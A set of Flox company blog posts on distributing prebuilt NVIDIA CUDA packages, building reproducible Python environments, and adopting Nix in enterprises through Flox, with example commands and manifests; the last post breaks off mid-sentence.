libcufft: cudaPackages_12_8.libcufft (11.3.3.83) libcurand: cudaPackages_12_8.libcurand (10.3.9.90) libcusolver: cudaPackages.libcusolver (11.7.3.90) libcusparse: cudaPackages_12_8.libcusparse (12.5.8.93) backendStdenv: cudaPackages.backendStdenv (stdenv-linux) binutils: binutils (2.44) cmake: cmake (3.31.7) coreutils: coreutils (9.7) gawk: gawk (5.3.2) gcc: gcc (14.3.0) gcc-unwrapped: gcc-unwrapped (14.3.0) gdb: gdb (16.3) gnumake: gnumake (4.4.1) gnused: gnused (4.9) pkgconfig: pkgconfig (0.29.2) black: python313Packages.black (25.1.0) build: python313Packages.build (1.3.0) ipython: python313Packages.ipython (9.4.0) mypy: python313Packages.mypy (1.15.0) packaging: python313Packages.packaging (25.0) pip: python313Packages.pip (25.0.1) pytest: python313Packages.pytest (8.4.1) python313Full: python313Full (python3-3.13.6) ruff: python313Packages.ruff (0.12.8) setuptools: python313Packages.setuptools (80.9.0) uv: python313Packages.uv (0.8.6) virtualenv: python313Packages.virtualenv (20.33.1) wheel: python313Packages.wheel (0.46.1) cuda-numpy: python3Packages.numpy (python3.13-numpy-2.3.2) cuda-pytorch: python3Packages.torch (python3.13-torch-2.8.0) cuda-scipy: python3Packages.scipy (python3.13-scipy-1.16.1) datasets: python313Packages.datasets (4.0.0) matplotlib: python313Packages.matplotlib (3.10.5) pandas: python313Packages.pandas (2.3.1) seaborn: python313Packages.seaborn (0.13.2) sentencepiece: python313Packages.sentencepiece (0.2.1) tokenizers: python313Packages.tokenizers (0.22.0) transformers: python3Packages.transformers (4.56.1) cuda-pytorch-lightning: python3Packages.pytorch-lightning (2.5.5) ``` _**Note**: You can pull [this environment](https://hub.flox.dev/floxrox/xplatform-ml) and try it for yourself: just run**`flox pull floxrox/xplatform-ml`**_ By composing CUDA-specific and cross-platform environments, you get a single manifest that’s portable, modular, and adapted to whatever hardware it lands on. Whether you’re building on a CUDA-enabled Linux workstation, an Apple Silicon laptop, or running tests on a CPU-only CI runner, the same Flox manifest just works—anytime, anywhere. ## Get Started Building Reproducible CUDA Stacks with Flox Flox makes it simple to start working with CUDA-accelerated packages in your projects. It gives you powerful, intuitive tools for managing conflicts between CUDA dependencies and enables you to work with both current and historical versions of CUDA packages on the same system, as well as create cross-platform environments that take advantage of GPU acceleration on both CUDA- and Apple Metal-enabled hardware. With Flox, you define a single declarative environment definition that travels across your SDLC. This means teams can build and share CUDA environments with other teams, ship them to CI, and deploy them to production. The same environment runs with GPU acceleration across CUDA and Metal hardware. If you’d like to learn more about Flox and/or take it for a test drive, check out our “[Flox in Five Minutes](https://flox.dev/docs/flox-5-minutes/) guide or [download the latest version of Flox](https://flox.dev/docs/install-flox/install/) for your platform. _Beaucoup thanks to Flox's own Rok Garbas for guidance, feedback, and—in a couple of instances—last-second, late-night-Ljubljana-time pair-debugging sessions. Rok's contributions helped make this walk-through a reality. Prodigious great thanks to Tom Bereknyei for help on this piece ... and so many others._ ## FAQs about CUDA and Flox ### How can I install specific versions of the NVIDIA CUDA Toolkit using Flox? You can discover specific versions of the NVIDIA CUDA Toolkit by running the **`flox search`** command with the **`--all`** flag to view the full list of available packages in the catalog. Once you identify the required version (such as the 12.8 release) you can install the corresponding wrapper package directly into your environment using the standard **`flox install`** command. These wrappers provide essential components like the NVCC compiler and core libraries while ensuring the build remains reproducible and isolated from global system paths. ### How does Flox handle dependency conflicts between different CUDA libraries? Flox resolves conflicts by allowing users to define package groups and assign priority values within the environment manifest. When a symlink collision occurs, for example, the system utilizes the package defined with the lower priority value to determine which file takes precedence in the materialized Flox environment. This feature enables developers to install conflicting versions of dependencies or libraries side-by-side without breaking the environment. ### Can I create a CUDA development environment that works on both Linux and macOS? With Flox, uou can build a single declarative environment that adapts to different operating systems by applying system constraints within your manifest file. This allows you to configure the environment to load NVIDIA CUDA-accelerated packages when running on Linux hardware while automatically switching to CPU-only or Metal-accelerated alternatives on macOS. This way, you can ensure that your machine learning or development stacks remain portable and optimized for the specific architecture they are running on. ### Do I need to install the full NVIDIA CUDA Toolkit to run my applications? You do not always need the entire toolkit, as Flox allows you to install only the specific dependencies required for your project (e.g. **`nvcc`**, the CUDA runtime API, or specific CUDA math libraries). The available wrapper packages are designed to provide the essential binaries and libraries needed to compile and run code without the bloat of a full 8+ GB toolkit installation. This capability helps minimize the size of your environment and reduces the potential attack surface of your software supply chain. Title: The Flox Catalog Now Contains NVIDIA CUDA Source: https://flox.dev/blog/the-flox-catalog-now-contains-nvidia-cuda/ Date: 2025-09-10 Category: guide # The Flox Catalog Now Contains NVIDIA CUDA Teams can now easily build and deploy portable CUDA runtimes—including software like the CUDA Toolkit, Tensorflow, TensorRT, PyTorch, OpenCV, and other packages—that run anywhere, at any time. Flox, the Nix Foundation, and NVIDIA are teaming up to make it easier for teams working with the [NVIDIA CUDA GPU compute framework](https://developer.nvidia.com/cuda-toolkit) to build and ship CUDA-accelerated stacks. Teams can now easily build and deploy portable CUDA runtimes—including software like the NVIDIA CUDA Toolkit, Tensorflow, NVIDIA TensorRT, PyTorch, OpenCV, and other packages—that run _anywhere_, at _any_ time. Not only that, they can easily install selected _historical versions_ of CUDA packages—essential for supporting existing production workloads—alongside _alternative CUDA package versions_ on the same system, at the same time. The best part? All of this just works. Without changes to your global system state. Without containers or VMs. If this sounds a lot like Arthur C. Haley’s definition of magic, let me introduce you to the “magic” of Nix, the open source package and environment manager that doubles as a deterministic build system. Or the “magic” of Flox, open source software that gives you access to the same software—plus the same portability and reproducibility guarantees—as Nix, with intuitive semantics and a familiar, easy-to-use UI. Both enable teams to ship the GPU-accelerated stacks they build and test locally to CI and production. Using either Nix or Flox, teams can build GPU-accelerated software on Linux or macOS—for CUDA or Metal—share what they build with one another, push their environments to CI, and even deploy them to prod. If this sounds incredible to you, read on to learn more about Nix, Flox, and the promise of reproducible, deterministic environments—not just for CUDA, but for any language, toolchain, or framework you work with. ## What’s Happening Working jointly with the Nix team that works with CUDA (and the Nix community as a whole) we are bringing NVIDIA CUDA to the Flox Catalog! Flox is one of four commercial open source vendors that have been licensed to redistribute precompiled, prepatched packages that include NVIDIA’s CUDA binaries and libraries. Flox’s CUDA-accelerated packages are built using canonical recipes defined and maintained by the Nix CUDA team. For users of Flox and Nix, packages with CUDA dependencies will be available for use _as soon as they’re downloaded_: they no longer need to be built from source. For packages like **[cudaPackages.tensorrt](https://hub.flox.dev/packages/base/cudaPackages.tensorrt)**, **[opencv](https://hub.flox.dev/packages/base/opencv)**, or even **[ffmpeg-full](https://hub.flox.dev/packages/base/ffmpeg-full)** with CUDA acceleration, building from source could take _hours_. And building a full CUDA-accelerated machine learning (ML) stack—with dependencies like **`tensorrt`**, **[pytorch](https://hub.flox.dev/packages/base/python313Packages.pytorchWithCuda)**, **`opencv`**, **[xgboost](https://hub.flox.dev/packages/base/xgboostWithCuda)**, **[cudnn](https://hub.flox.dev/packages/base/cudaPackages.cudnn)**, and other packages—could take _days_. That’s why we’re glad to be partnering with NVIDIA and the Nix Foundation to make this possible. Being able to download and install precompiled, prepackaged CUDA dependencies addresses an acute pain point for open source users. Not only does it make it easier and faster to download and run CUDA-accelerated packages, but—with Nix and Flox—it unlocks the ability to build and ship reproducible CUDA stacks. Nix and Flox build packages so that they’re always deterministic products of the declarative inputs used to create them. This means the same inputs always produce the same package. Anytime. Anywhere. Let’s briefly explore what’s happening, how it’s different from the status quo, and why it matters. ## What This Is—and Why It’s Different First, what you’re seeing today is **early access**. The combinatorial explosion of CUDA packages and [Nix derivations](https://nix.dev/tutorials/nix-language.html#derivations) means there’s no way we can test every possibility ourselves. Over the next few weeks we’ll be shipping improvements, but the feedback you share—especially if you’re running CUDA in production—will tell us which paths matter most. If something breaks, if a package is missing, if you need support: [reach out to us](https://discourse.flox.dev/)! Today Nix users rely on the Nix binary cache to install pre-built packages, saving time and resources otherwise spent building software from source. However, due to licensing restrictions, the Nix community cannot redistribute pre-compiled proprietary binaries and libraries. This means users must build these from source when needed. The Flox Catalog uses Nixpkgs as its upstream, sampling once a day to capture and build any packages that change. These built packages live in the Flox Catalog’s binary cache. Previously, when Flox clients installed packages with CUDA dependencies, they, like Nix clients, had to build these packages from source and/or patch binaries that linked against CUDA due to the same licensing restrictions. They couldn’t get them pre-built/prepatched from the Flox Catalog’s binary cache. Now when a Flox CLI client fetches a CUDA-accelerated package, like [TensorRT](https://developer.nvidia.com/tensorrt), they get a prebuilt package that includes NVIDIA’s bits. Even better, _Nix_ clients can add Flox’s binary cache to their list of [substituters](https://nix.dev/manual/nix/2.26/package-management/binary-cache-substituter) and get the same experience. The CUDA-accelerated packages you get from Flox’s binary cache are built from the same [upstream definitions](https://nixos.org/guides/nix-pills/04-basics-of-language.html) in Nixpkgs; the only difference is that Flox is authorized to redistribute them … so users no longer have to build from source. ## What This Isn’t—and What’s Still the Same If you’re a user of the Flox CLI, you can pull CUDA-accelerated user space packages from the Flox Catalog. To run them, you’ll need to install [NVIDIA’s official CUDA driver stack](https://docs.nvidia.com/cuda/cuda-installation-guide-linux/) on Linux. (On Windows with WSL2, installing NVIDIA’s [WDM-certified display driver](https://www.nvidia.com/en-us/drivers/) typically unlocks CUDA acceleration.) Once done, you can pull the precise versions of the CUDA-accelerated packages you need—including the CUDA Toolkit—from the Flox Catalog, and they’ll run against the driver version currently registered with your kernel. If you use the [Nix package manager](https://nixos.wiki/wiki/Nix_package_manager) (which is different from NixOS), you can pull CUDA-accelerated packages by adding Flox’s binary cache to your **`extra-substituters`** in **`nix.conf`**. Bear in mind that the same limitation applies: viz., you’ll get user-space packages from Flox, but you’ll still need to install NVIDIA’s official driver stack separately. Just drop the following into **`nix.conf`**: ``` extra-substituters = https://cache.flox.dev extra-trusted-public-keys = flox-cache-public-1:7F4OyH7ZCnFhcze3fJdfyXYLQw/aV7GEed86nQ7IsOs= ``` Why use NVIDIA’s official drivers? Your Linux distribution may ship CUDA-enabled drivers in its repos, but these often trail (far behind) current-stable. For workloads like ML, AI, multimedia, or HPC, you usually need the latest CUDA Toolkit _and_ CUDA driver releases. The Flox Catalog gives you access to the latest CUDA-accelerated _applications and libraries_—but they’ll only run if your CUDA driver supports them. ## One Difference: CUDA Drivers on NixOS If you’re using [NixOS](https://nixos.org/), you will already be building NVIDIA drivers and apps from Nixpkgs, and adding the Flox binary cache to your configuration (as above) _can_ translate to faster `nixos-rebuild` invocations, but _only if you happen to be substituting a derivation that we've already built_. The Flox binary cache is built from selected revisions from the Nixpkgs `nixos-unstable` branch, so you will increase the chances of a "cache hit" by similarly using that branch, or you can maximize your chances by pinning your system to one of the exact `github:flox/nixpkgs/{unstable,staging,stable,lts}` branches that we build from. To sum up: - Flox or Nix (non-NixOS) users can pull CUDA-accelerated user-space packages from Flox’s binary cache, but must install NVIDIA’s official driver stack separately. - NixOS users can pull CUDA drivers _and_ user-space packages from Flox’s binary cache by adding it as an `extra-substituter`, and can then maximize the chances of a cache hit by pinning `nixpkgs` to one of `github:flox/nixpkgs/{unstable,staging,stable,lts}` (recommended) or `github:NixOS/nixpkgs/nixos-unstable`. ## About the Flox Binary Cache Flox maintains its own binary cache consisting of packages built from the official Nixpkgs repository’s build recipes (i.e., Nix expressions). These are used to produce Nix Archive (`.nar`) files—analogous to the `.deb` and `.rpm` used by the Debian and Fedora projects, respectively—along with their associated metadata. The Flox Catalog consumes this metadata and gives Flox CLI users a way to discover, explore, and install pre-built packages from the Flox binary cache. In other words, Flox operates its own mirror of Nixpkgs, but this is for the purposes of _build automation_; Flox _does not_ modify canonical upstream Nixpkgs definitions. This is a “fork” only in the most pedantic sense. The purpose of mirroring and refreshing from Nixpkgs is to allow the Flox Catalog and Flox binary cache to stay current with upstream changes. Plus, by maintaining its own binary cache, Flox can build and distribute both current and historical versions of Nix packages—not just fully open source software, but also packages (like CUDA) subject to licensing restrictions. Flox users can then easily search for and install them alongside current ones. ## Why Not Use the Nix Binary Cache? If the recipes Flox uses to build CUDA-accelerated packages come from upstream Nixpkgs, why can’t the Nix community build and package these to begin with? Why can’t the Nix binary cache serve up pre-built CUDA-accelerated packages? The answer lies in the licensing restrictions that commercial vendors tend to place on proprietary software when it’s used with open source projects. NVIDIA’s licensing terms require an unambiguous, legally accountable entity to sign agreements and manage compliance. Flox provides the corporate structure, legal resources, and liability coverage necessary for this kind of partnership. The Nix Foundation, as a mission-oriented, community-driven non-profit, has a structure that—at this point in time—can’t easily be brought into alignment with NVIDIA’s legal requirements. ## Making CUDA Development Portable, Reproducible, and Repeatable Modern software engineering is complex, spanning all languages and toolchains. Managing these software and hardware resources can be challenging. That's where Nix and Flox come in. Nix lets you build portable dev environments and packages that run the same anywhere. Flox offers the same reproducibility guarantees as Nix, but with intuitive semantics and a familiar, easy-to-use interface. You can use either to create and ship CUDA stacks that just work anywhere. Now you can get prebuilt CUDA-accelerated software packages—including the NVIDIA CUDA Toolkit—from Flox. Even better, you can install separate, otherwise conflicting versions of CUDA-accelerated packages on the same system, at the same time. You can even use multiple versions in the same runtime environment. In the context of GPU deployed applications this helps to: - Achieve full reproducibility. CUDA stacks built with Flox on one system are guaranteed to run consistently on others. - Seamlessly manage CUDA versions. Flox enables different frameworks to use their required CUDA toolkits, allowing them to coexist without conflict in the same environment. - Ensure robust and stable setups. Flox simplifies installing CUDA dependencies and resolves conflicts, leading to reliable development environments. - Simplify CI runner maintenance. Keeping CUDA-capable CI runners up-to-date becomes a streamlined process with Flox. - Boost dev velocity. With Flox, GPU-accelerated workloads can run efficiently as soon as builds succeed, preventing development stalls. Title: Reproducible Development Environments for Python with Flox Source: https://flox.dev/blog/reproducible-python-development-environments-with-flox/ Date: 2025-09-08 Category: guide # Reproducible Development Environments for Python with Flox Create reproducible Python environments with Flox. Declaratively define everything in one file and activate the same setup every time. With a reproducible development environment like Flox, anyone can build, run, test, debug, and ship code the same way. Teams always use the same tools, dependencies, and settings—along with all required packages, tools, environment variables, services, even setup and teardown logic. Everything is defined in a single declarative artifact: a TOML manifest. How does this work? First, FLox-based reproducible development environments are _deterministic_ in that each dependency is referenced by a unique content fingerprint: a cryptographic (SHA256) hash. Recreating the development environment—be it tomorrow or six months from now—_always_ fetches or rebuilds the artifacts that match those hashes. This means teams always get exactly the same packages and exactly the same environment—byte for byte. Using a reproducible development environment eliminates “works on my machine” scenarios and turns what would otherwise be a multi-step setup into a single command: activating the environment. This guide shows how to use Flox to create reproducible development environments for new or existing Python projects. ## Using Flox in a new project Getting started with Flox is super simple. First, create and/or cd into your project directory. ``` mkdir new-python-project && cd new-python-project ``` Next, initialize your Flox environment: ``` flox init ``` This will suggest a few commands you can run next: ``` $ flox init ✨ Created environment 'new-python-project' (x86_64-linux) Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment $ flox edit <- Add environment variables and shell hooks ``` This Flox environment is now ready to be populated with packages. You can read more here about [how to keep going]( https://flox.dev/docs/cookbook/languages/python/#poetry). ## Using Flox in an Existing Project If you are working with an existing project that is already configured for Python - e.g. it has a `requirements.txt` or `pyproject.toml`—Flox provides an automated environment setup flow. For this example we will clone the `eralchemy` repo, which already contains Python configuration: ``` git clone https://github.com/eralchemy/eralchemy.git && cd eralchemy ``` You can read more here about [how to keep going]( https://flox.dev/docs/cookbook/languages/python/#poetry). ## Building with Flox Not only can you develop your software with Flox, but you can build it as well. See the builds concept page for more details. ### Manifest builds For Python projects using pip, a build looks like installing the project to the $out directory. ``` [build.myproject] command = ''' pip install --target=$out . ''' ``` Note the trailing **`.`** indicates that you're installing the package in the current directory. If you're working in a repository with multiple packages in subdirectories, you would replace **`.`** with the path to the package sources. ### Poetry For Poetry and tools that create a virtual environment for you, a build entails installing the virtual environment to $out. Poetry in particular does not allow you to choose the location (or name) of the virtual environment directory itself, but it does allow you to configure the parent directory of the virtual environment. The build command shown below uses environment variables to tell Poetry to use the $out directory as the parent of the virtual environment. After running poetry install you should have a directory structure that looks like this: ``` $out/ myproject--py3.12/ ... ``` Since Poetry doesn't let you decide where exactly this virtual environment belongs, you need to symlink any executables from the virtual environment into the $out/bin directory yourself to ensure that the build output adheres to the Filesystem Hierarchy Standard (FHS). You also need to install a Python interpreter and add it to `runtime-packages` so that the virtual environment can reference it. The full manifest for a build using Poetry is shown below: ``` version = 1 [install] python3.pkg-path = "python3" python3.version = ">=3.12" poetry.pkg-path = "poetry" [build.myproject] command = ''' # Install to a new virtualenv. export POETRY_VIRTUALENVS_PATH=$out export POETRY_VIRTUALENVS_IN_PROJECT=false export POETRY_VIRTUALENVS_OPTIONS_NO_PIP=true poetry install # Symlink any executables from the virtualenv. mkdir -p "${out}/bin" cd $out/bin ln -s ../*/bin/myproject . ''' runtime-packages = [ "python3", ] ``` ## Your Python Dev Environments, Reproduced Exactly Flox’s input-addressed store and declarative manifest pin every dependency and tool, so the same Python environment reproduces bit-for-bit on any machine. Typing **`flox activate`** and running the Flox environment gets you exactly the same build, tests, and tooling—today or six months from now. To share and run that environment anywhere, use [FloxHub](https://flox.dev/docs/concepts/floxhub/): you can sign up at **[https://hub.flox.dev](https://hub.flox.dev)**. Teammates can easily push, pull, and run Flox environments—even on-demand—by remotely activating them: **`flox activate -r flox/python-poetry**` or **`flox activate -r flox/python-uv`**. FloxHub makes it easy to publish, version, audit, and remotely run environments, as well as control who uses them. You can even switch/roll back between generations—all in one place. Title: Enterprise Nix: It's Time to Bring Nix to Work Source: https://flox.dev/blog/enterprise-nix-its-time-to-bring-nix-to-work/ Date: 2025-08-27 Category: guide # Enterprise Nix: It's Time to Bring Nix to Work Flox unlocks the potential of Nix without requiring in-depth knowledge of it, and gives Nix experts a great way to enable their teams. You've learned enough [Nix](https://github.com/NixOS/nix) to make it work for you. Maybe even more than enough. Maybe you’ve convinced your team to use it for a few projects, and everybody loves what it can do... but you're still not satisfied. You believe it could change the way your company does _everything_. But not everyone on your team knows Nix. Sound familiar? If you look through our [Nix in the Wild](/nixinthewild) stories, you will find that Nix champions within organizations often report that they exist in a silo. They are among a small number of people who know Nix, which makes them responsible for _everything_ Nix. So when technologists from across the org come to them with Nix-related questions, they cannot say “RTFM” and expect them to figure it out on their own. **Unfortunately people are often not willing or able to learn Nix…even if it would make them vastly more productive.** [Flox brings the power of Nix to your team, without the headache](https://flox.dev/). **TL;DR** - Nix is powerful but can be hard to adopt – the learning curve and massive surface area scare many people off. - Nix solves real enterprise pain points: reproducible dev environments, cross-platform builds, dependency isolation, and accurate SBOMs baked into the build graph. - Flox wraps Nix in familiar CLI semantics commands like flox install, activate, push etc. - Nix-savvy engineers can author environments for everyone else — build custom packages, write flakes, and publish them to a private catalog. Teammates just `flox install` what they need. ## Not Everyone Has the Time to Gnaw on Nix There are a few reasons for this, but mostly it's because they're too busy to commit the time. They have jobs, too, and few of those jobs give them the push or the excuse to learn Nix. Not to mention they have lives and responsibilities outside of work! So learning Nix is just too much cognitive load for their working context—because, ultimately, there are far more of us who _write and use_ software than _build and package_ it. This is exacerbated somewhat by Nix’s history and nature: it’s a decentralized project, built in many waves over a long period of time. Nix isn’t one thing, it's a _whole thing_—and this whole is much greater than the sum of its many moving parts. That makes it hard to know where to start. Do you dive in with Nix’s functional programming model, learning the [Nix expression language](https://nix.dev/manual/nix/2.28/language/index.html?highlight=nix%20language#nix-language) and creating your own [shell.nix](http://nix.dev/tutorials/first-steps/declarative-shell.html) environments? Do you embrace [Nix’s begin-with-the-build philosophy](https://flox.dev/blog/the-experienced-novice-dives-into-nix/), using it to build and package your own software? Do you start with [flakes](https://flox.dev/blog/extending-flox-with-nix-flakes/), which give you the ability to combine environments _and_ builds in one workflow? Do you try to wrap your head around [derivations](https://nix.dev/manual/nix/2.28/store/derivation/#store-derivation), [attribute sets](https://nix.dev/manual/nix/2.28/language/syntax.html?highlight=attribute%20set#attrs-literal), [closures](https://nix.dev/manual/nix/2.28/glossary#gloss-closure), and other Nix concepts? **Even the most intrepid user might think twice about digging into Nix after scanning its massive surface area.** This surface area distracts from all that’s great about Nix, to the point that sometimes it’s all newcomers notice. They just can’t look past it to see that Nix solves a wide range of [wicked problems](https://en.wikipedia.org/wiki/Wicked_problem) that arise at the intersection of people, processes, technology, and the environments in which they operate. These are problems [that affect us all](https://nixos.org/guides/how-nix-works/), but don’t always attract attention. What problems are we talking about? What makes them so hard to solve? To answer these questions, let’s briefly explore what Nix is, how it works—and why it’s radically different. ## Understanding Nix architecture in an enterprise context Nix is three complementary things rolled into one. - First, it’s a cross-platform, cross-language, cross-toolchain **package manager**. - Second, it’s a **virtual environment manager**, offering the same huge breadth of platform, language, and toolchain support. - Finally, it’s a **declarative build system**, complete with its own [functional expression language](https://nix.dev/tutorials/nix-language.html). Nix builds are reproducible and deterministic by design: you declare the end state you want, Nix figures out how to build it. Taken as a whole, Nix gives you [a reproducible way to build](https://flox.dev/blog/reproducible-builds-made-simple-with-nix-and-flox/), package, and distribute software runtime environments _so you can reuse them across platforms and contexts_: whether locally (while building and iterating as part of a team), in CI and testing, or in production; whether on-premises or in the cloud. Nix builds all packages as input-addressed artifacts inside a read-only, top-level directory: **[/nix/store](https://nixos-and-flakes.thiscute.world/nix-store/intro)**. Each package gets its own store path, and this path is always derived from its build inputs—i.e., the sum total of its build-time dependencies, including software and environment variables, plus its name and version. A package’s store path is immutable: once you build it, its contents do not change. Because the same combination of inputs always yields the same store path, it’s like a recipe for guaranteed reproducibility and determinism. This approach, called input addressability, likewise makes it possible to install multiple versions of the same packages—along with multiple, conflicting versions of the same dependencies—on the same system, _at the same time_. ## Solving enterprise challenges with Nix But what problems do these superpowers solve? ### Dev environments breaking when shared across teams Nix obliterates the chief culprit behind “Works on my machine” problems: missing or conflicting dependencies. Teams can use Nix to create and share dev environments that “travel with” their runtime dependencies—including those that conflict with installed system-wide binaries or libraries. Nix puts everything into unique paths under **`./nix/store`**, so installing software _never_ requires making global changes that wreck working setups on laptops or desktops. ### Time travel across package versions It’s easy to install and run packages from different historical eras—on the same system, in the same runtime. Need `glibc` v2.32 (circa 2020) and `kubectl` v1.29.11 (2024) in the same environment? How about older versions of Python (e.g., v3.6.x) with obsolete dependencies like OpenSSL 1.0.2? No problem! Define your requirements in a [flake](https://wiki.nixos.org/wiki/Flakes) or [Nix expression](https://nixos.org/guides/nix-pills/04-basics-of-language.html) that just works—anytime/anywhere. Nix makes it possible to time-travel across historical eras! ### Containers or VMs are too isolated for local dev velocity This isn’t a thing with Nix! So far as teams building or debugging locally are concerned, Nix environments _are just isolated enough_. They run as sub-shells on the local system, so—unlike containers—users still get access to their env vars, dotfiles, data, secrets, and other resources. In the subshell, Nix overrides environment variables (like `$PATH` and `$LD_LIBRARY_PATH)` so that the system resolves executables and libraries from the Nix store first. ### Getting software to build and run everywhere Typically, Nix _uses the same declarative build recipe_ to build packages for all supported platforms. This build recipe is reproducible, which means users can use Nix to build the package directly on their systems. This always just works. In the same way, the pre-built Nix packages users install always just work on Linux, BSD, and macOS, on both 32- and 64-bit ARM and Intel chips, taking advantage of hardware acceleration—like Nvidia, AMD, and Apple GPUs. ### Runtime environments don’t work across the SDLC With Nix the same environments that teams use to build locally _also travel across the SDLC_: DevOps engineers use them to build and test in CI and QA, while SREs use them to reproduce production issues in production-like environments. Organizations can export [them as containers](https://flox.dev/blog/nix-and-containers-why-not-both/), run them in VMs, deploy them as Lambdas, etc. Nix puts an end to “Works on my machine” _everywhere_, in every phase of the SDLC. ### You never know which versions of which software you’re running—or where With Nix, provenance, determinism, and dependency bookkeeping are baked into the ground-truth of the build system itself. This means SBOMs can be exactly _generated from Nix’s build graph_, eliminating ambiguity about which code gets into your systems … as well as how it got there. Nix’s declarative model not only protects against accidental substitutions in your own builds, but also (if an upstream dependency is compromised) gives you a precise map of where you're exposed and how to respond. Building with Nix enables a secure foundation for generating accurate SBOMs and implementing SLSA, Sigstore, and other improvements. ## Flox Brings Nix to the Enterprise If Nix is so superpowerful, why doesn’t everybody use it? Therein lies the rub. Nix gives you superpowers, yes, but it’s also perceived as super-hard-to-use. Even if Nix’s learning curve isn’t especially intimidating—once you take into account everything it does—the fact is that for most people, in most situations, learning enough Nix to use it securely and reliably at scale is a bridge too far. That’s where Flox comes in. Flox was built to help all kinds of people access the power of Nix. With Flox, users can build and share virtual environments using the 180,000+ software components already available in [Nixpkgs](https://github.com/NixOS/nixpkgs). These environments just work across Linux and Mac, Intel and ARM—they even just work in WSL2! **Users don't need to have Nix installed before they [install Flox](https://flox.dev/docs/install-flox/), and the process is pain-free.** There is a Flox installer for macOS users and you can `brew install flox`. There are `rpm`/`deb` packages available for those on Linux and WSL2. When you install on Linux, Flox is registered as a yum/apt repository for seamless upgrades. You can also install Flox into an existing Nix or NixOS system. Flox offers semantics that technologists are already familiar with: `init`, `search`, `install`, `activate`, `push`, `pull`, `build`, and `publish`. Users don't have to learn a new language, and if they won't have to dedicate any headspace towards the building & packaging that occurs behind the scenes. They simply [`flox install`](https://flox.dev/docs/reference/command-reference/flox-install/) the software they need. ``` % flox install nodejs mkcert imagemagick openssh # easy and familiar ``` When it comes time, they [`flox activate`](https://flox.dev/docs/reference/command-reference/flox-activate/) their environments and get a subshell. This is very similar to the one Nix provides with `nix develop`, but with Flox users are able to get there using basic building blocks that feel a lot like `apt`, `yum`, and `brew`. **Flox makes it easy to build repeatable environments, with very little learning required.** Can you do everything with Flox that you can do with Nix? No, because it’s designed to support a more focused set of workflows. But Flox’s easy-to-use abstractions let you do a _surprising_ amount of what’s possible in Nix directly within Flox itself. Plus Flox doesn’t wall you off from Nix, so whenever you need direct access to its superpowers, you can still get them. Flox users can even define complex overrides, substituters, and write their own Nix expressions—even building and packaging their own software! ## As Little or as Much Nix as You Need Speaking of which: what happens when your users can't find what they need in Nixpkgs? This is where your Nix expertise comes in handy! Let's say you want to use a less well-known Python package that isn't in Nixpkgs, or use a Rust toolchain targeting WebAssembly or an embedded device. Or perhaps you have some internal software that is a bit tricky to install? Maybe you just have some helper scripts you want to inject into your users' environments. Flox gives you a couple of powerful options. - **First**, you can build and package _your own software_—optionally inside a sandboxed Nix build environment—and then publish it to your own private catalog of packages. Once you publish your packages, you can install them anytime (and anywhere) you need them. And with Flox for Teams, you can build, package, and share software across _an entire team_, as well as run it in CI, or deploy it to production. - **Second**, users can [install flakes](/blog/extending-flox-with-nix-flakes/) alongside packages, using the same simple Flox commands. That makes it possible for you to craft flakes for specific situations and deliver them to users. All they need to do is **`flox install`** them or define them declaratively in their manifests. Let’s unpack and explore what these do and how they work. ## Building and Packaging Software with Flox Flox makes it easy to build and package your own (or someone else’s) software. When you build with Flox, you can reuse your existing scripts, tools, and workflows _and_ leverage the full power of Nix as a build tool. Here’s how this works: - **[Manifest builds](https://flox.dev/docs/concepts/manifest-builds/)**. Reuse _existing_ build logic by defining declarative build recipes in your Flox manifest. Just define a **`[build]`** section and author simple bash logic telling Flox how to run it. Under its hood, Flox leverages Nix as a build tool; you can even build inside a Nix sandbox by defining this in your build recipe. - **[Nix expression builds](https://flox.dev/docs/concepts/nix-expression-builds/)**. A Nix expression build is always a pure function of its declared inputs: source files, dependencies, compiler flags, environment variables, etc. Nix hashes all these inputs to create a unique store path for the result. This hash is a recipe for both reproducibility and determinism: the same inputs _always_ yield the same hash. And given the same hash, Nix produces—or reuses—the exact same artifact. With Manifest builds, you can reuse your existing build logic, usually with minimal changes; with Nix expression builds, you can reuse—or repurpose—existing Nix expressions, or create your own from scratch. Either way, you can build and package software that isn’t available in `nixpkgs` (your own or someone else’s) easily. Once you’ve done that, you can _publish_ whatever you build to your private Flox catalog of packages: ``` $ flox publish vibe-coded-prototype ``` … as well as search for and discover it: ``` $ flox search vibe-coded-prototype floxuser/vibe-coded-prototype Prototype of super-disruptive vibe-coded technology for vibe coding ``` … and install it anywhere. If you have multiple versions of the same package, you can search among and install one of these too. Here’s the output of running **`flox show vibe-coded-prototype`** ``` floxuser/vibe-coded-prototype – Prototype of super-disruptive vibe-coded technology for vibe coding floxuser/vibe-coded-prototype@1.0.0rc floxuser/vibe-coded-prototype@0.9.5 ``` Installing one of these is as simple as running: **`flox install floxuser/vibe-coded-prototype@1.0.0rc`**. ## Flakes Make Flox Even More Flexible You can also author [version-locked flakes](https://flox.dev/blog/extending-flox-with-nix-flakes/) so users can install software using familiar Flox commands: ``` % flox install github:flox-examples/claude-cli ``` From the user’s perspective, installing a flake works just like installing any other package. Under the covers, Flox uses Nix to evaluate the flake and build its outputs: packages, devshells, and other artifacts. This is great for testing software before users publish it to a team’s shared catalog, or to their own private catalogs. It’s also great for reusing flakes _you already have_! Say you’ve pinned a custom devshell in a flake—with a specific Python version, linters, and dependencies. With Flox, you can just hand that flake to your team and tell them to **`flox install github:/devshell-flake`** to get the same devshell. This same pattern applies _outside_ of dev environments too. Imagine you want to use both Nix and [Kubenix](https://kubenix.org/) to manage your Kubernetes (K8s) manifests—everything from Deployments and Services to ConfigMaps (and even CRDs). With Kubenix, you can define and pin these manifests as Nix expressions, locking them to specific sources and versions. Wrap those definitions in a flake and expose the manifests as an output, and your SREs can **`flox install github:/k8snix`** to get the same bundle you tested. This pattern is brilliant! You can use flakes to pin your Kubernetes manifests (for Deployments, Services, ConfigMaps, CRDs, or even a full operator stack) and, with Flox, hand them to the SRE team as a single **`flox install`** command they can run on a local KIND cluster for fast testing. For staging or production, SREs run **`flox containerize`** to export the flake as a container and deploy it through the usual pipeline. Your SREs don’t need to think about Nix at all; instead, they use Flox to pull in the same reproducible runtimes your org uses in CI—whether that’s a devShell, a manifest set, or an operator image. And if users are building their own environments, they can install software just like with **`pip`** or **`npm`**—or define it declaratively, in their Flox manifest. Flox’s approach to declarativity is another feature that makes it a bit easier to use than Nix. So let's look at that. ## Flox Manifests Are Easy Flox environments are defined in a [declarative manifest](https://flox.dev/docs/concepts/manifest/). When users create a new environment using imperative 